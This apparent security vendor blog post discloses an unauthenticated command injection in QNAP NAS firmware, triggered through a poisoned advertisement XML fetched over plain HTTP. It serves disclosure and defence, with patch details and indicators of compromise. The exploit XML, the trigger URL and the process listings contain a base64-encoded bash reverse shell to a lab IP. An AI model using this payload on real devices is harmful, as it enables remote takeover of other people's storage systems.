Last updated at Thu, 04 Aug 2022 14:45:11 GMT

Background

CVE-2020-2509 was added to CISA’s Known Exploited Vulnerabilities Catalog in April 2022, and it was listed as one of the “Additional Routinely Exploited Vulnerabilities in 2021” in CISA’s 2021 Top Routinely Exploited Vulnerabilities alert. However, CVE-2020-2509 has no public exploit, and no other organizations have publicly confirmed exploitation in the wild.

CVE-2020-2509 is allegedly an unauthenticated remote command injection vulnerability affecting QNAP Network Attached Storage (NAS) devices using the QTS operating system. The vulnerability was discovered by SAM and publicly disclosed on March 31, 2021. Two weeks later, QNAP issued a CVE and an advisory.

Neither organization provided a CVSS vector to describe the vulnerability. QNAP’s advisory doesn’t even indicate the vulnerable component. SAM’s disclosure says they found the vulnerability when they “fuzzed” the web server’s CGI scripts (which is not generally the way you discover command injection vulnerabilities, but I digress). SAM published a proof-of-concept video that allegedly demonstrates exploitation of the vulnerability, although it doesn’t appear to be a typical straightforward command injection. The recorded exploit downloads BusyBox to establish a reverse shell, and it appears to make multiple requests to accomplish this. That’s many more moving parts than a typical command injection exploit. Regardless, beyond affected versions, there are essentially no usable details for defender or attackers in either disclosure.

Given the ridiculous amount of internet-facing QNAP NAS (350,000+), seemingly endless ransomware attacks on the systems (Qlocker, Deadbolt, and Checkmate), and the mystery surrounding alleged exploitation in the wild of CVE-2020-2509, we decided to find out exactly what CVE-2020-2509 is. Instead, we found the below, which may be an entirely new vulnerability.

Poisoned XML command injection (CVE-2022-XXXX)

The video demonstrates exploitation of an unauthenticated and remote command injection vulnerability on a QNAP TS-230 running QTS 4.5.1.1480 (reportedly the last version affected by CVE-2020-2509). We were unable to obtain the first patched version, QTS 4.5.1.1495, but we were able to confirm this vulnerability was patched in QTS 4.5.1.1540. However, we don’t think this is CVE-2020-2509. The exploit in the video requires the attacker be a man-in-the-middle or have performed a DNS hijack of update.qnap.com. In the video, our lab network’s Mikrotik router has a malicious static DNS entry for update.qnap.com.

SAM and QNAP’s disclosures didn’t mention any type of man-in-the-middle or DNS hijacks. But neither disclosure ruled it out either. CVSS vectors are great for this sort of thing. If either organization had published a vector with an Attack Complexity of high, we’d know this “new” vulnerability is CVE-2020-2509. If they’d published a vector with Attack Complexity of low, we’d know this “new” vulnerability is not CVE-2020-2509. The lack of a vector leaves us unsure. Only CISA’s claim of widespread exploitation leads us to believe this is not is CVE-2020-2509. However, this “new” vulnerability is still a high-severity issue. It could reasonably be scored as CVSSv3 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H). While the issue was patched 15 to 20 months ago (patches for CVE-2021-2509 were released in November 2020 and April 2021), there are still thousands of internet-facing QNAP devices that remain unpatched against this “new” issue. As such, we are going to describe the issue in more detail.

Exploitation and patch

The “new” vulnerability can be broken down into two parts:

A remote and unauthenticated attacker can force a QNAP device to make an HTTP request to update.qnap.com, without using SSL, in order to download an XML file. Content from the downloaded XML file is passed to a system call without any sanitization.

Both of these issues can be found in the QNAP’s web server cgi-bin executable authLogin.cgi, but the behavior is triggered by a request to /cgi-bin/qnapmsg.cgi. Below is decompiled code from authLogin.cgi that highlights the use of HTTP to fetch a file.

Using wget, the QNAP device will download a language-specific XML file such as http://update.qnap.com/loginad/qnapmsg_eng.xml, where eng can be a variety of different values (cze, dan, ger, spa, fre, ita, etc.). When the XML has been downloaded, the device then parses the XML file. When the parser encounters <img> tags, it will attempt to download the associated image using wget.

The <img> value is added to a wget command without any type of sanitization, which is a very obvious command injection issue.

The XML, if downloaded straight from QNAP, looks like the following (note that it appears to be part of an advertisement system built into the device):

<?xml version="1.0" encoding="utf-8"?>
<Root>
  <Messages>
    <Message>
      <img>http://update.qnap.com/loginad/image/1_eng.jpg</img>
      <link>http://www.qnap.com/en/index.php?lang=en&amp;sn=822&amp;c=351&amp;sc=513&amp;t=520&amp;n=18168</link>
    </Message>
    <Message>
      <img>http://update.qnap.com/loginad/image/4_eng.jpg</img>
      <link>http://www.qnap.com/en/index.php?lang=en&amp;sn=8685</link>
    </Message>
    <Message>
      <img>http://update.qnap.com/loginad/image/2_eng.jpg</img>
      <link>http://www.facebook.com/QNAPSys</link>
    </Message>
  </Messages>
</Root>

Because of the command injection issue, a malicious attacker can get a reverse shell by providing an XML file that looks like the following. The command injection is performed with backticks, and the actual payload (a bash reverse shell using /dev/tcp) is base64 encoded because / is a disallowed character.

​​<?xml version="1.0" encoding="utf-8"?>
<Root>
	<Messages>
		<Message>
			<img>/`echo -ne 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d | sh`</img>
			<link>http://www.qnap.com/></link>
		</Message>
	</Messages>
</Root>

An attacker can force a QNAP device to download the XML file by sending the device an HTTP request similar to http://device_ip/cgi-bin/qnapmsg.cgi?lang=eng. Here, again, eng can be replaced by a variety of languages.

Obviously, the number one challenge to exploit this issue is getting the HTTP requests for update.qnap.com routed to an attacker-controlled system.

Becoming a man-in-the-middle is not easy for a normal attacker. However, APT groups have consistently demonstrated that man-in-the-middle attacks are a part of normal operations. VPNFilter, FLYING PIG, and the Iranian Digator incident are all historical examples of APT attacking (or potentially attacking) via man-in-the-middle. An actor that has control of any router between the QNAP and update.qnap.com can inject the malicious XML we provided above. This, in turn, allows them to execute arbitrary code on the QNAP device.

The other major attack vector is via DNS hijacking. For this vulnerability, the most likely DNS hijack attacks that don’t require man-in-the-middling are router DNS hijack or third-party DNS server compromise. In the case of a router DNS hijack, the attacker exploits a router and instructs it to tell all connected devices to use a malicious DNS server or malicious static routes (similar to our lab setup). Third-party DNS server compromise is more interesting because of its ability to scale. Both Mandiant and Talos have observed this type of DNS hijack in the wild. When a third-party DNS server is compromised, an attacker is able to introduce malicious entries to the DNS server.

So, while there is some complexity to exploiting this issue, those complications are easily defeated by a moderately skilled attacker — which calls into question why QNAP didn’t issue an advisory and CVE for this issue. Presumably they knew about the vulnerability, because they made two changes to fix it. First, the insecure HTTP request for the XML was changed to a secure HTTPS request. That prevents all but the most advanced attackers from masquerading as update.qnap.com. Additionally, the image download logic was updated to use an execl wrapper called qnap_exec instead of system, which mitigates command injection issues.

Indicators of compromise

This attack does leave indicators of compromise (IOCs) on disk. A smart attacker will clean up these IOCs, but they may be worth checking for. The downloaded XML files are downloaded to /home/httpd/RSS/rssdoc/. The following is an example of the malicious XML from our proof-of-concept video:

[albinolobster@NAS4A32F3 rssdoc]$ ls -l
total 32
-rw-r--r-- 1 admin administrators     0 2022-07-27 19:57 gen_qnapmsg_eng.xml
drwxrwxrwx 2 admin administrators  4096 2022-07-26 18:39 image/
-rw-r--r-- 1 admin administrators     8 2022-07-27 19:57 last_uptime.qnapmsg_eng.xml
-rw-r--r-- 1 admin administrators   229 2022-07-27 19:57 qnapmsg_eng.xml
-rw-r--r-- 1 admin administrators 18651 2022-07-27 16:02 wget.log
[albinolobster@NAS4A32F3 rssdoc]$ cat qnapmsg_eng.xml 
<?xml version="1.0" encoding="utf-8"?>
<Root>
<Messages>
<Message><img>/`(echo -ne 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d | sh)&`</img><link>http://www.qnap.com/</link></Message></Messages></Root>

Similarly, an attack can leave an sh process hanging in the background. Search for malicious ones using ps | grep wget. If you see anything like the following, it’s a clear IOC:

[albinolobster@NAS4A32F3 rssdoc]$ ps | grep wget
10109 albinolo    476 S   grep wget
12555 admin      2492 S   sh -c /usr/bin/wget -t 1 -T 5 /`(echo -ne
'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d |
sh)` -O /home/httpd/RSS/rssdoc/image/`(echo -ne
'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d |
sh)`.tmp 1>>/dev/null 2>>/dev/null

Conclusion

Perhaps what we’ve described here is in part CVE-2020-2509, and that explains the lack of advisory from QNAP. Or maybe it’s one of the many other command injections that QNAP has assigned a CVE but failed to describe, and therefore denied users the chance to make informed choices about their security. It’s impossible to know because QNAP publishes almost no details about any of their vulnerabilities — a practice that might thwart some attackers, but certainly harms defenders trying to identify and monitor these attacks in the wild, as well as defenders who have to help clean up the myriad ransomware cases that are affecting QNAP devices.

SAM did not owe us a good disclosure (which is fortunate, because they didn’t give us one), but QNAP did. SAM was successful in ensuring the issue got fixed, and they held the vendor to a coordinated disclosure deadline (which QNAP consequently failed to meet). We should all be grateful to SAM: Even if their disclosure wasn’t necessarily what we wanted, we all benefited from their work. It’s QNAP that owes us, the customers and security industry, good disclosures. Vendors who are responsible for the security of their products are also responsible for informing the community of the seriousness of vulnerabilities that affect those products. When they fail to do this — for example by failing to provide advisories with basic descriptions, affected components, and industry-standard metrics like CVSS — they deny their current and future users full autonomy over the choices they make about risk to their networks. This makes us all less secure.

Disclosure timeline

  • July, 2022: Researched and discovered by Jake Baines of Rapid7
  • Thu, Jul 28, 2022: Disclosed to QNAP, seeking a CVE ID
  • Sun, Jul 31, 2022: Automated response from vendor indicating they have moved to a new support ticket system and ticket should be filed with that system. Link to new ticketing system merely sends Rapid7 to QNAP’s home page.
  • Tue, Aug 2, 2022: Rapid7 informs QNAP via email that their support link is broken and Rapid7 will publish this blog on August 4, 2022.
  • Tue, Aug 2, 2022: QNAP responds directing Rapid7 to the advisory for CVE-2020-2509.
  • Thu, Aug 4, 2022: This public disclosure

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.


Additional reading: